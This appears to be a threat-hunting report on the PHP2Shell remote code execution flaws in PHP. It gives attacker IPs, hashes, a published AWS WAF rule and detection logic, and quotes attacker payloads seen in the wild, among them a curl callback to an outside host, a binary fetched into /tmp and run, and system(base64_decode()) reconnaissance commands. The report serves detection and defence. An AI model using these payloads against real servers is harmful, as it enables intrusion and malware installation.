PHP2Shell Was Being Exploited Four Days Before Anyone Knew

Someone was firing PHP2Shell exploits at Amazon’s honeypots four days before the bugs were public. Amazon Threat Intelligence says its MadPot sensor network logged an attempt against CVE-2026-109618 and CVE-2026-109619 on Oct. 17, while the fixes were still under embargo. Amazon now says the pair is being broadly exploited in the wild. That changes the picture from our first write-up, when nobody had confirmed attacks. Separately, ELLIO’s sensors caught the bugs being used to drop a Mirai botnet variant, web shells and a remote access tool within a day of release.

103.216.220[.]92 (Oct. 17)
31.223.184[.]166
37.19.200[.]5
134.209.159[.]64
103.114.163[.]188
95.217.98[.]37 (all five Oct. 21)

hxxp://92.118.112[.]100/nfs (Mirai variant download)
134.199.154[.]64 (Mirai C2, TCP 50217-52645)
117.55.202[.]115 / hackattackkaboom.botlesscucks[.]st (update host)
150.251.112[.]208 (DDoS booter C2)

0c5486f06620e26e316f4b33f318b0d646d5e1133789331aa2fed012360d1486 (Mirai variant)
7133612558a5d0f257ca6bdb4f765453af9465bc5298acdcf33b5761b8c59aac (bot.x86_64 DDoS booter)
dd98bf48899aa385035352688357742c73ddc5e47ec4ecc7d7b74c53c2e3ca3d (test_beacon Go agent)
17758cf05e3376f8448dff926564e038b763b4a46668455e2ccb5ac0839e629c (1.aspx web shell)

Source article: Amazon Threat Intelligence identifies PHP2Shell exploitation prior to public disclosure in MadPot
Publisher: AWS Security Blog, Amazon Web Services (author: CJ Moses, CISO of Amazon Integrated Security)
Published: October 21, 2026
URL: https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/

Executive Summary

PHP2Shell is the name given to CVE-2026-109618 and CVE-2026-109619, two unauthenticated remote code execution flaws in the PHP core runtime, both rated CVSS v4.0 9.2 and fixed on October 21, 2026 in PHP 8.5.12, 8.4.27, 8.3.36 and 8.2.35. Both are reached during PHP’s own handling of multipart/form-data requests, before any application code runs. CVE-2026-109618 corrupts memory when PHP runs out of memory mid-request, and CVE-2026-109619 leaves stale state that a later request on the same worker reuses, with the session upload progress feature as its main trigger. No single named actor is behind the exploitation. Amazon Threat Intelligence logged a PHP2Shell exploitation attempt in its MadPot honeypot network on October 17, 2026, four days before disclosure, from a commercial anonymization network. It saw proof-of-concept exploits from about 02:00 UTC on October 21, and attempts from several anonymized sources with differing payloads between 02:00 and 08:00 UTC, which it reads as multiple actors. Amazon now describes exploitation as broad. Running a separate sensor network, ELLIO recorded its first PHP2Shell request at 08:36 UTC on October 21, before the 14:00 UTC release. By 23:00 UTC, 33 addresses had sent 743 requests carrying the session upload progress field. The tooling turned from scanning to payload delivery within hours. ELLIO observed a Mirai variant pulled into /tmp from a staging host and linked it to a family Nokia Deepfield reported in May 2026 as “potassium”. It also saw a PHP web shell written into a web root 81 minutes after a first probe, an IIS web shell and a statically linked DDoS booter uploaded through /upload.php, a Go remote access agent, and memory-exhaustion request bodies sized to PHP’s default post_max_size. On a vulnerable server the objective is code execution as the PHP user, used for web shell footholds, botnet enrolment and remote access. Amazon advises starting investigations from October 17 rather than the disclosure date. The Hunt Leads below give detection logic, false-positive expectations, the AWS WAF rule AWS published, and the published indicators. The Amazon and ELLIO indicator sets do not overlap, and neither source attributes the activity to a named group.

ATT&CK chain: Initial Access → Execution → Persistence → Stealth → Command and Control

Hunt Lead Grid

PHP2Shell Tool Fingerprints in Web Logs

ELLIO’s first PHP2Shell request arrived at 08:36 UTC on October 21, five and a half hours before PHP published fixes. It named the CVE in its user agent, php2shell-scan/109618, and carried the PHP_SESSION_UPLOAD_PROGRESS field, alongside the user agents php2shell-109618 and php2shell-verify/1.0 from three unrelated networks sharing one multipart boundary. From 16:05 UTC a second tool aimed at the out-of-memory bug used boundaries containing p2shell. Through October 22 ELLIO catalogued more fingerprints. A canary tool used the boundary ------p2s plus eight hex digits and wrote P2SMARK or P2SMK into the progress field. Nuclei templates used --nucleiBoundary with the progress value nuclei-probe. 47.238.232[.]123 sent the user agent Mozilla/5.0 (php-session-startup-rce-poc) with boundary ------atk and progress value POC_79fe5e4f. 45.136.71[.]89 wrapped echo PHP2SHELL_OK; id; whoami in system(base64_decode(. Other markers were the public proof of concept’s default uname -a; id with the canary JACKALPOC, the user agent Mozilla/5.0 (php2shell-test/2.0.0) in 59 sessions, and the boundaries SSSSSSSSSSSSSSSSS and BBBBBBBBBB. Session IDs leaksessionid01 and attacksessionid0001 appeared with progress values pwn and ppp. Amazon did not publish its payload strings. The detection logic is a retrospective sweep of HTTP request logs for these user agents, and of any captured request bodies for these boundaries, progress values, session IDs and canary strings.

User agents are in ordinary web server access logs. The boundaries, progress values and canaries sit inside the request body, so that half of the sweep needs WAF full logging, a reverse proxy that captures bodies, or an IDS with HTTP body inspection. Sweep back to October 17, 2026, the earliest exploitation date Amazon published, across every internet-facing PHP host, whatever server API it runs (mod_php, PHP-FPM, FrankenPHP or LSAPI, per AWS’s inventory guidance). Allowlist only the source addresses of an organization’s own or contracted scanners, since anyone running the same public proof of concept will match. Blocking on user agent alone is the wrong control. ELLIO notes several senders used no user agent, and strings like these are trivial to change, so treat this lead as a fast first sweep and rely on the session upload progress lead for durable coverage. A hit shows an attempt, not success. Pivot to the web shell and PHP worker leads for the same host and time window, and escalate to incident response when the host was unpatched and any follow-on file write or child process appears.

Hunt Lead Level: 1 (Junior Analyst)

ATT&CK: Initial Access → T1190 (Exploit Public-Facing Application); detection strategy DET0080 Exploit Public-Facing Application – multi-signal correlation (request → error → post-exploit process/egress)

Sources: “PHP2Shell: attacks before the patch, and automation by nightfall”, ELLIO Threat Research Lab, Oct. 21, 2026 (updated through Oct. 22, 2026, 08:00 UTC), https://ellio.tech/en/blog/php2shell-what-we-observed-and-what-to-do/ (additional source, same exploitation wave); “Amazon Threat Intelligence identifies PHP2Shell exploitation prior to public disclosure in MadPot”, AWS Security Blog, Oct. 21, 2026, https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/ (source article; October 17 start date); “Using AWS WAF to apply mitigations for PHP2Shell RCE vulnerabilities (CVE-2026-109618 and CVE-2026-109619)”, AWS Security Blog, Oct. 21, 2026, https://aws.amazon.com/blogs/security/using-aws-waf-to-apply-mitigations-for-php2shell-rce-vulnerabilities-cve-2026-109618-and-cve-2026-109619/ (additional source, same vulnerabilities; server API inventory)

Published Exploitation Sources and Payload Infrastructure

Amazon published six source addresses. 103.216.220[.]92 made the October 17 attempt, four days before disclosure, from a commercial anonymization network. 31.223.184[.]166, 37.19.200[.]5, 134.209.159[.]64, 103.114.163[.]188 and 95.217.98[.]37 were observed on October 21. ELLIO named sixteen more exploitation sources: 45.198.224[.]169 (delivered the Mirai loader at 14:38 UTC on October 21), 152.233.51[.]47, 176.65.132[.]128, 146.70.202[.]189, 185.5.70[.]233, 122.97.242[.]167, 192.140.154[.]1, 47.238.232[.]123, 31.182.51[.]55, 98.80.11[.]91, 200.119.44[.]50, 45.136.71[.]89, 34.136.122[.]211, 77.237.246[.]73, 146.70.184[.]216 and 38.207.136[.]217. On the payload side, ELLIO lists the staging host 92.118.112[.]100 on AS215540, which served the Mirai variant at hxxp://92.118.112[.]100/nfs. It also lists a progress field carrying system('curl hxxp://15.235.206[.]16:8443'), a callback with no second stage behind it. The Mirai variant’s real C2 is 134.199.154[.]64 on fourteen TCP ports from 50217 to 52645, derived from the published address of the decoy domain thunder.godofthunder[.]st. Its update host is hackattackkaboom.botlesscucks[.]st at 117.55.202[.]115, and the DDoS booter’s C2 is 150.251.112[.]208. The detection logic has two halves: an inbound sweep of access, WAF and perimeter firewall logs for the source addresses, and an outbound sweep of firewall, proxy, NetFlow and DNS logs for any web server contacting the payload infrastructure.

The two halves carry very different confidence. Amazon says its addresses belong to shared anonymization infrastructure and should be investigated rather than blocked, so an inbound match on its own only means the session deserves a look. Confirm it by pivoting to multipart POSTs and the tool fingerprints in the same session. An outbound connection from a web server to the staging host, the C2 or the update host is a strong sign of compromise and goes straight to incident response. Sweep inbound from October 17, 2026 and outbound from October 21. ELLIO gives specific blocking guidance. Block 134.199.154[.]64 and 117.55.202[.]115 by IP. Do not resolve thunder.godofthunder[.]st and block the answer, because that answer is a university’s legitimate address and the bot derives its real C2 by transforming it. Restrict outbound DNS on port 53 to internal resolvers, because the bot falls back to eighteen hard-coded public resolvers. Address lists age quickly and the Amazon and ELLIO sets do not overlap, so treat both as a retrospective sweep and keep the behavioral leads below as standing detections.

Hunt Lead Level: 1 (Junior Analyst)

ATT&CK: Initial Access → T1190 (Exploit Public-Facing Application), detection strategy DET0080 Exploit Public-Facing Application – multi-signal correlation (request → error → post-exploit process/egress); Command and Control → T1105 (Ingress Tool Transfer), detection strategy DET0060 Detect Ingress Tool Transfers via Behavioral Chain

Sources: “Amazon Threat Intelligence identifies PHP2Shell exploitation prior to public disclosure in MadPot”, AWS Security Blog, Oct. 21, 2026, https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/ (source article); “PHP2Shell: attacks before the patch, and automation by nightfall”, ELLIO Threat Research Lab, Oct. 21, 2026, https://ellio.tech/en/blog/php2shell-what-we-observed-and-what-to-do/ (additional source, same exploitation wave)

Web Shells Dropped Through Upload Endpoints

ELLIO tracked 176.65.132[.]128 through a 57-request run between 21:55 and 23:24 UTC on October 21. It sent two probes that fixed a session ID to learn whether the server read it from a cookie or the form, then four requests asking about the host and its web directory. Next came one request writing a small PHP web shell into the web root, and one listing of three likely paths to confirm the write. That was 48 minutes from first probe to working exploit and 81 minutes to an installed foothold. Its commands were base64-encoded, but the system(base64_decode( wrapper stayed visible on the wire, and the shell took commands from a request parameter. On October 22 at 03:46 UTC, 146.70.202[.]189 posted to /upload.php, requested /1.aspx back 42 seconds later, and uploaded 1.aspx twice. That file is an IIS file-manager web shell whose password is the MD5 of admin. From 04:19 to 04:22 UTC, 185.5.70[.]233 used the same endpoint to upload the same 30-byte PHP payload, which runs the cmd GET parameter, as shell.php, shell.phtml, shell.php5 and shell.php.jpg. It declared the content types text/plain, image/jpeg and application/octet-stream in turn and labelled each try in the progress field (shell_upload, phtml_test, php5_test, dbl_test). The detection logic has three parts. First, sweep web roots and upload directories for files with executable extensions (.php, .phtml, .php5, double extensions, and .aspx on PHP hosts) created since October 17. Second, flag very small scripts that pass a request parameter to system, exec, passthru or shell_exec. Third, search request logs for requests to a newly created script carrying a cmd= parameter.

Use file-creation events from file integrity monitoring or EDR where available, and otherwise a creation-time sweep of the document root compared against the deployment manifest or source repository. Scope it to web servers with any writable directory under the document root, and prioritize hosts that were unpatched after October 21. Hash-blocking the IIS shell or the 30-byte PHP payload is the wrong primary control, because a one-character change defeats it. Detect the location, extension and content pattern instead, and stop PHP from executing in upload directories as a hardening step. Deleting the shell is not remediation either: the attacker had code execution as the PHP user, so any hit escalates to incident response, the host is rebuilt or redeployed from a known-good source, and every secret the PHP user could read is rotated, including database credentials and API keys in configuration files. The pattern generalizes to any remote code execution bug that is reachable through an upload endpoint.

Hunt Lead Level: 1 (Junior Analyst)

ATT&CK: Persistence → T1505.003 (Server Software Component: Web Shell); detection strategy DET0394 Web Shell Detection via Server Behavior and File Execution Chains

Sources: “PHP2Shell: attacks before the patch, and automation by nightfall”, ELLIO Threat Research Lab, Oct. 21, 2026, https://ellio.tech/en/blog/php2shell-what-we-observed-and-what-to-do/ (additional source, same exploitation wave); “Amazon Threat Intelligence identifies PHP2Shell exploitation prior to public disclosure in MadPot”, AWS Security Blog, Oct. 21, 2026, https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/ (source article; check for unexpected file modification)

Session Upload Progress Field in Multipart POSTs

AWS explains that both PHP2Shell bugs live in PHP’s processing of multipart/form-data requests, before application code runs. The PHP_SESSION_UPLOAD_PROGRESS form field switches on the session upload progress feature, which AWS calls one of the confirmed triggers and ELLIO calls the main trigger for CVE-2026-109619. Amazon’s own recommendation is to look for POST requests with that string in form uploads. ELLIO counted 743 such requests from 33 addresses by 23:00 UTC on October 21, several with no user agent at all. AWS published a WAF rule that blocks a request only when three conditions hold at once: the method is exactly POST, PHPSESSID appears as a cookie key or anywhere in the body, and the body contains PHP_SESSION_UPLOAD_PROGRESS. The detection logic is the same condition used as an alert: a multipart POST carrying a PHP_SESSION_UPLOAD_PROGRESS part and a session ID, aimed at an application that does not use upload progress, or at a host where session.upload_progress.enabled is already 0.

Run it on WAF logs, a body-inspecting reverse proxy or an IDS. AWS warns that WAF body inspection is bounded: 8 KB fixed on Application Load Balancer and AppSync, and 16 KB by default on CloudFront and API Gateway, raisable to 64 KB. With OversizeHandling set to CONTINUE, only the first part of a large body is inspected, so place this detection where the field is likely to appear early in the body. Following AWS, start in Count mode, baseline which applications legitimately send the field (ELLIO stresses that it is a signal, not a verdict), and then alert or block. Disabling the feature server-side, which AWS calls prudent to keep off even after patching, turns every later hit into a clear exploitation attempt. Do not treat this rule as the fix. It does nothing against the CVE-2026-109618 out-of-memory path, and AWS says the firewall cannot parse the headers inside individual multipart parts. Triage a hit against an unpatched host by checking the PHP worker and web shell leads for the same host within minutes, and escalate to incident response on any follow-on activity.

Published rule, reproduced verbatim from the AWS WAF mitigation post (AWS):

{
  "Name": "PHP2Shell",
  "Priority": 0,
  "Statement": {
    "AndStatement": {
      "Statements": [
        {
          "ByteMatchStatement": {
            "SearchString": "POST",
            "FieldToMatch": {
              "Method": {}
            },
            "TextTransformations": [
              {
                "Priority": 0,
                "Type": "NONE"
              }
            ],
            "PositionalConstraint": "EXACTLY"
          }
        },
        {
          "OrStatement": {
            "Statements": [
              {
                "ByteMatchStatement": {
                  "SearchString": "PHPSESSID",
                  "FieldToMatch": {
                    "Cookies": {
                      "MatchPattern": {
                        "All": {}
                      },
                      "MatchScope": "KEY",
                      "OversizeHandling": "CONTINUE"
                    }
                  },
                  "TextTransformations": [
                    {
                      "Priority": 0,
                      "Type": "NONE"
                    }
                  ],
                  "PositionalConstraint": "EXACTLY"
                }
              },
              {
                "ByteMatchStatement": {
                  "SearchString": "PHPSESSID",
                  "FieldToMatch": {
                    "Body": {
                      "OversizeHandling": "CONTINUE"
                    }
                  },
                  "TextTransformations": [
                    {
                      "Priority": 0,
                      "Type": "NONE"
                    }
                  ],
                  "PositionalConstraint": "CONTAINS"
                }
              }
            ]
          }
        },
        {
          "ByteMatchStatement": {
            "SearchString": "PHP_SESSION_UPLOAD_PROGRESS",
            "FieldToMatch": {
              "Body": {
                "OversizeHandling": "CONTINUE"
              }
            },
            "TextTransformations": [
              {
                "Priority": 0,
                "Type": "NONE"
              }
            ],
            "PositionalConstraint": "CONTAINS"
          }
        }
      ]
    }
  },
  "Action": {
    "Block": {}
  },
  "VisibilityConfig": {
    "SampledRequestsEnabled": true,
    "CloudWatchMetricsEnabled": true,
    "MetricName": "PHP2Shell"
  }
}

Hunt Lead Level: 2 (Pro)

ATT&CK: Initial Access → T1190 (Exploit Public-Facing Application); detection strategy DET0080 Exploit Public-Facing Application – multi-signal correlation (request → error → post-exploit process/egress)

Sources: “Amazon Threat Intelligence identifies PHP2Shell exploitation prior to public disclosure in MadPot”, AWS Security Blog, Oct. 21, 2026, https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/ (source article); “Using AWS WAF to apply mitigations for PHP2Shell RCE vulnerabilities (CVE-2026-109618 and CVE-2026-109619)”, AWS Security Blog, Oct. 21, 2026, https://aws.amazon.com/blogs/security/using-aws-waf-to-apply-mitigations-for-php2shell-rce-vulnerabilities-cve-2026-109618-and-cve-2026-109619/ (additional source, same vulnerabilities; WAF rule and inspection limits); “PHP2Shell: attacks before the patch, and automation by nightfall”, ELLIO Threat Research Lab, Oct. 21, 2026, https://ellio.tech/en/blog/php2shell-what-we-observed-and-what-to-do/ (additional source, same exploitation wave; request counts)

PHP Worker Spawning Shells and Downloaders

ELLIO saw one version of the session-path tool fetch a binary from hxxp://92.118.112[.]100/nfs into /tmp, make it executable and run it with the argument php. A later version ran the public proof of concept’s default uname -a; id with the canary JACKALPOC. Other senders put system('curl hxxp://15.235.206[.]16:8443') in the progress field, or ran echo PHP2SHELL_OK; id; whoami through system(base64_decode(. Among ELLIO’s host-side signals is a PHP worker process spawning a shell, an interpreter or a network tool, and Amazon recommends checking web application servers for unexpected process execution. The detection logic is a process-creation rule. The parent is a PHP worker (php-fpm, php-cgi, lsphp, frankenphp, or httpd/apache2 running mod_php). The child is sh, bash, dash, busybox, curl, wget, python, perl, id, uname or whoami. Pair it with a file rule for an executable written to /tmp, /var/tmp or /dev/shm by the PHP user and then executed.

Build it on EDR, auditd execve records or Sysmon for Linux on web servers, and sweep back to October 17, 2026. Some PHP applications legitimately shell out to ImageMagick, sendmail, PDF renderers or deploy hooks. Allowlist those per application by full executable path and expected command line, never by process name alone, because a downloader renamed to an allowlisted name would pass. Reconnaissance commands such as id, whoami and uname -a from a PHP worker have almost no legitimate use, and neither does a PHP worker running a file it just wrote to /tmp, so either is an escalation to incident response, not a tuning candidate. Killing the process and deleting the /tmp file is the wrong response: the server ran attacker code as the PHP user, so preserve evidence, rebuild and rotate secrets. The rule generalizes to any PHP remote code execution flaw, past or future.

Hunt Lead Level: 2 (Pro)

ATT&CK: Execution → T1059.004 (Command and Scripting Interpreter: Unix Shell), detection strategy DET0384 Behavioral Detection of Unix Shell Execution; Command and Control → T1105 (Ingress Tool Transfer), detection strategy DET0060 Detect Ingress Tool Transfers via Behavioral Chain

Sources: “PHP2Shell: attacks before the patch, and automation by nightfall”, ELLIO Threat Research Lab, Oct. 21, 2026, https://ellio.tech/en/blog/php2shell-what-we-observed-and-what-to-do/ (additional source, same exploitation wave); “Amazon Threat Intelligence identifies PHP2Shell exploitation prior to public disclosure in MadPot”, AWS Security Blog, Oct. 21, 2026, https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/ (source article)

Multipart Memory-Exhaustion Bodies Joined to Worker Crashes

AWS describes CVE-2026-109618 as memory corruption when PHP runs out of memory mid-request. It warns that header amplification, a few kilobytes of multipart part headers that cost far more memory inside PHP, can stay under any body-size cap. ELLIO saw out-of-memory-shaped requests from 16:05 UTC on October 21, with many empty file fields or deeply nested field names, and a median body of about 10 MB for two hours. At about 02:47 UTC on October 22, 152.233.51[.]47 sent bodies of exactly 8,388,608 and 9,437,183 bytes. Each held 1,005 parts, one of them carrying the header line X:a repeated 1,663,221 or 1,872,936 times, with no command or code in the body. Between 04:28 and 05:32 UTC, 77.237.246[.]73 (Contabo) sent 56 requests cycling five fixed bodies that covered three techniques: an oversized field (25,281,929 bytes with a 24 MiB part), 1,000 one-byte array fields, and header-line repeats of 230,000 and 427,458 lines. 34.136.122[.]211 sent ten bodies over 1 MB in under three minutes, sized 15,657,436 and 12,655,437 bytes. On the host, ELLIO points to PHP workers exiting on memory errors in bursts. The detection logic joins the edge and the host. On one side are unauthenticated multipart POSTs whose sizes repeat exactly, sit at or just under post_max_size, or whose part counts run into the hundreds or thousands. On the other are bursts of PHP fatal memory errors or FPM child exits on the same host within seconds.

This needs body size from load balancer or WAF logs, part counts from a WAF or IDS that can parse multipart where available, and PHP and FPM error logs. AWS advises log_errors=On, a working error_log and error_reporting=E_ALL, and it warns that an absence of errors is not proof of safety. Build a per-application baseline of memory errors and worker restarts, because large legitimate uploads and leaky code produce them too. Alert on bursts that line up with a single source sending repeated, identically sized bodies. Body caps alone are the wrong control, because header amplification stays under them. Capping memory with RLIMIT_AS or RLIMIT_DATA is also wrong, because AWS and ELLIO both say those limits trigger the vulnerable out-of-memory path; use container or cgroup limits instead. A correlated burst against an unpatched host should be handled as an exploitation attempt. Pivot to the PHP worker lead on the same host for the following minutes, and escalate to incident response if anything executes.

Hunt Lead Level: 3 (Elite)

ATT&CK: Initial Access → T1190 (Exploit Public-Facing Application); detection strategy DET0080 Exploit Public-Facing Application – multi-signal correlation (request → error → post-exploit process/egress). The memory exhaustion is the exploit trigger rather than a denial-of-service goal, so it is not mapped to an Impact technique.

Sources: “PHP2Shell: attacks before the patch, and automation by nightfall”, ELLIO Threat Research Lab, Oct. 21, 2026, https://ellio.tech/en/blog/php2shell-what-we-observed-and-what-to-do/ (additional source, same exploitation wave); “Using AWS WAF to apply mitigations for PHP2Shell RCE vulnerabilities (CVE-2026-109618 and CVE-2026-109619)”, AWS Security Blog, Oct. 21, 2026, https://aws.amazon.com/blogs/security/using-aws-waf-to-apply-mitigations-for-php2shell-rce-vulnerabilities-cve-2026-109618-and-cve-2026-109619/ (additional source, same vulnerabilities; header amplification, logging and memory-limit guidance)

Potassium Mirai Variant Beaconing and Process Masquerade

The second stage ELLIO recovered from hxxp://92.118.112[.]100/nfs is a 179,632-byte statically linked x86-64 ELF Mirai variant. ELLIO says it matches the cryptography of a family Nokia Deepfield reported in May 2026 under the name “potassium” (ELLIO gives no link to that report). Its configuration is ChaCha20-encrypted, and it fronts a decoy: the published address of thunder.godofthunder[.]st is transformed to derive the real C2, 134.199.154[.]64. The bot connects there on one of fourteen TCP ports: 50217, 50341, 50488, 50613, 50792, 50904, 51127, 51289, 51456, 51603, 51871, 52134, 52398 or 52645. ELLIO describes the channel at the byte level. The bot opens with a 96-byte packet that starts with a fixed 19-byte preamble and a tag byte, and the server replies with exactly 33 bytes. After that, an idle bot sends a fixed 39-byte keepalive about every 90 seconds. The preamble and tag are hard-coded, not part of the encrypted configuration, so ELLIO expects them to survive domain, port and key changes. The bot renames its process to telnetd, udhcpc, upnpd, watchdog, syslogd, klogd, uhttpd or uchttpd. It writes and removes a one-byte probe at /dev/shm/.cache.so when it cannot create an anonymous in-memory file. It falls back to eighteen hard-coded public DNS resolvers, and it updates over plain HTTP with no signature check from hackattackkaboom.botlesscucks[.]st (117.55.202[.]115). ELLIO found no spreading, scanning or persistence code. The detection logic joins three sources: a web server process with one of those embedded-device daemon names whose executable sits in /tmp or has been deleted, outbound TCP from that server to 134.199.154[.]64 or to that port set, and connections whose first exchange is 96 bytes out and 33 bytes back followed by regular 39-byte packets.

Implement it with EDR or /proc-based process inventory (comparing each process name to its executable path), Zeek or NetFlow records that keep per-connection byte counts, and egress firewall logs. Run it from 14:38 UTC on October 21, 2026, when ELLIO saw the Mirai loader delivered, onward. Because the bot has no persistence, a reboot may clear the process but not the underlying compromise, so a hit still means the host was exploited and goes to incident response, with the host isolated, rebuilt and patched. Follow ELLIO’s network guidance. Block 134.199.154[.]64 and 117.55.202[.]115 by IP, and restrict outbound port 53 to internal resolvers. Do not block the DNS answer for the C2 domain, which adds a university’s address to the blocklist and stops none of the bot’s traffic. Hash blocking is a weak control here, since Mirai builds are recompiled constantly. The process-name-versus-path check and the fixed handshake sizes are what carry over to future builds of this family.

Hunt Lead Level: 3 (Elite)

ATT&CK: Command and Control → T1573 (Encrypted Channel), detection strategy DET0273 Detection Strategy for Encrypted Channel across OS Platforms; Stealth → T1036.005 (Masquerading: Match Legitimate Resource Name or Location), detection strategy DET0347 Detection Strategy for Masquerading via Legitimate Resource Name or Location. T1573 is mapped at the parent level because ELLIO describes a key-exchange handshake without naming the channel cipher.

Sources: “PHP2Shell: attacks before the patch, and automation by nightfall”, ELLIO Threat Research Lab, Oct. 21, 2026, https://ellio.tech/en/blog/php2shell-what-we-observed-and-what-to-do/ (additional source, same exploitation wave)

Hash Appendix

Mirai variant second stage (“potassium” family, served as /nfs)

The SHA-256 and MD5 come from the ELLIO post (the AWS source article publishes no hashes). The OTX AlienVault record for the SHA-256 lists the same MD5 and no SHA1. VirusTotal could not be queried without an authenticated account, so SHA1 is not available.

MD5s

b61a098fc62a2c2696e196dca78da71a  # nfs -> downloaded from hxxp://92.118.112[.]100/nfs into /tmp, run with argument "php" (Mirai variant)

SHA1s

(not available)  # nfs -> /tmp (Mirai variant)

SHA256s

0c5486f06620e26e316f4b33f318b0d646d5e1133789331aa2fed012360d1486  # nfs -> downloaded from hxxp://92.118.112[.]100/nfs into /tmp, run with argument "php" (Mirai variant)

DDoS booter (bot.x86_64)

The SHA-256 comes from the ELLIO post. The OTX AlienVault record has the SHA-256 in one pulse but gives no MD5 or SHA1 value, and VirusTotal could not be queried without an authenticated account, so MD5 and SHA1 are not available.

MD5s

(not available)  # bot.x86_64 -> uploaded through /upload.php by 146.70.202[.]189 (statically linked DDoS booter, C2 150.251.112[.]208)

SHA1s

(not available)  # bot.x86_64 -> uploaded through /upload.php by 146.70.202[.]189 (statically linked DDoS booter)

SHA256s

7133612558a5d0f257ca6bdb4f765453af9465bc5298acdcf33b5761b8c59aac  # bot.x86_64 -> uploaded through /upload.php by 146.70.202[.]189 (statically linked DDoS booter)

Go remote access agent (test_beacon)

The SHA-256 comes from the ELLIO post. The OTX AlienVault record has the SHA-256 in one pulse but gives no MD5 or SHA1 value, and VirusTotal could not be queried without an authenticated account, so MD5 and SHA1 are not available.

MD5s

(not available)  # test_beacon -> uploaded through /upload.php by 185.5.70[.]233 (Go remote access agent)

SHA1s

(not available)  # test_beacon -> uploaded through /upload.php by 185.5.70[.]233 (Go remote access agent)

SHA256s

dd98bf48899aa385035352688357742c73ddc5e47ec4ecc7d7b74c53c2e3ca3d  # test_beacon -> uploaded through /upload.php by 185.5.70[.]233 (Go remote access agent: shell, terminal, screenshot, file transfer, tunnel, in-memory object execution)

IIS file-manager web shell (1.aspx)

The SHA-256 comes from the ELLIO post. The OTX AlienVault record has the SHA-256 in one pulse but gives no MD5 or SHA1 value, and VirusTotal could not be queried without an authenticated account, so MD5 and SHA1 are not available.

MD5s

(not available)  # 1.aspx -> uploaded through /upload.php by 146.70.202[.]189, requested back as /1.aspx (IIS file-manager web shell)

SHA1s

(not available)  # 1.aspx -> uploaded through /upload.php by 146.70.202[.]189 (IIS file-manager web shell)

SHA256s

17758cf05e3376f8448dff926564e038b763b4a46668455e2ccb5ac0839e629c  # 1.aspx -> uploaded through /upload.php by 146.70.202[.]189 (IIS file-manager web shell)

Exploit request bodies (network artifacts, not files on disk)

These SHA-256 values from the ELLIO post are hashes of complete HTTP request bodies, useful only where full bodies are captured. They are not files, so no MD5 or SHA1 lookup applies.

MD5s

(not available)  # session upload progress tool request body
(not available)  # out-of-memory tool request body

SHA1s

(not available)  # session upload progress tool request body
(not available)  # out-of-memory tool request body

SHA256s

43898a0a53bbd25d31ad9f5018ed3182be98a66109b22c9cab545a9fc447992a  # HTTP request body, session upload progress tool (CVE-2026-109619 path)
7bc41ed79a9ae909927a9e40701736460a8cb70fca16ce1510e58677aca764b6  # HTTP request body, out-of-memory tool (CVE-2026-109618 path)

30-byte PHP web shell (shell.php, shell.phtml, shell.php5, shell.php.jpg)

No source publishes a hash for this payload, and at 30 bytes any edit changes it. Detect the extensions, location and cmd parameter pattern instead.

MD5s

(not available)  # shell.php / shell.phtml / shell.php5 / shell.php.jpg -> uploaded through /upload.php by 185.5.70[.]233 (runs the cmd GET parameter)

SHA1s

(not available)  # shell.php / shell.phtml / shell.php5 / shell.php.jpg -> uploaded through /upload.php by 185.5.70[.]233

SHA256s

(not available)  # shell.php / shell.phtml / shell.php5 / shell.php.jpg -> uploaded through /upload.php by 185.5.70[.]233

References Appendix

• “Amazon Threat Intelligence identifies PHP2Shell exploitation prior to public disclosure in MadPot”, CJ Moses, AWS Security Blog (Amazon Web Services), Oct. 21, 2026, https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/ (source article; October 17 pre-disclosure attempt, embargo timeline, broad exploitation, recommendations, six source IPs)
• “Using AWS WAF to apply mitigations for PHP2Shell RCE vulnerabilities (CVE-2026-109618 and CVE-2026-109619)”, Alex Waddell, Lawton Pittenger and Ian Olson, AWS Security Blog (Amazon Web Services), Oct. 21, 2026, https://aws.amazon.com/blogs/security/using-aws-waf-to-apply-mitigations-for-php2shell-rce-vulnerabilities-cve-2026-109618-and-cve-2026-109619/ (additional source; vulnerability mechanics, AWS WAF rule, inspection limits, server-side mitigations)
• “PHP2Shell: attacks before the patch, and automation by nightfall”, ELLIO Threat Research Lab, Oct. 21, 2026, updated through Oct. 22, 2026, https://ellio.tech/en/blog/php2shell-what-we-observed-and-what-to-do/ (additional source; sensor timeline, tool fingerprints, payloads, Mirai variant analysis, indicators, hashes)
• OTX AlienVault file indicator pages for the Mirai variant, DDoS booter, Go agent and IIS web shell SHA-256 values, AT&T Alien Labs, accessed Oct. 22, 2026, https://otx.alienvault.com/indicator/file/0c5486f06620e26e316f4b33f318b0d646d5e1133789331aa2fed012360d1486, https://otx.alienvault.com/indicator/file/7133612558a5d0f257ca6bdb4f765453af9465bc5298acdcf33b5761b8c59aac, https://otx.alienvault.com/indicator/file/dd98bf48899aa385035352688357742c73ddc5e47ec4ecc7d7b74c53c2e3ca3d and https://otx.alienvault.com/indicator/file/17758cf05e3376f8448dff926564e038b763b4a46668455e2ccb5ac0839e629c (hash provenance check; Mirai MD5 confirmed, no SHA1 available)
• MITRE ATT&CK Enterprise technique and detection-strategy pages linked above, MITRE, https://attack.mitre.org/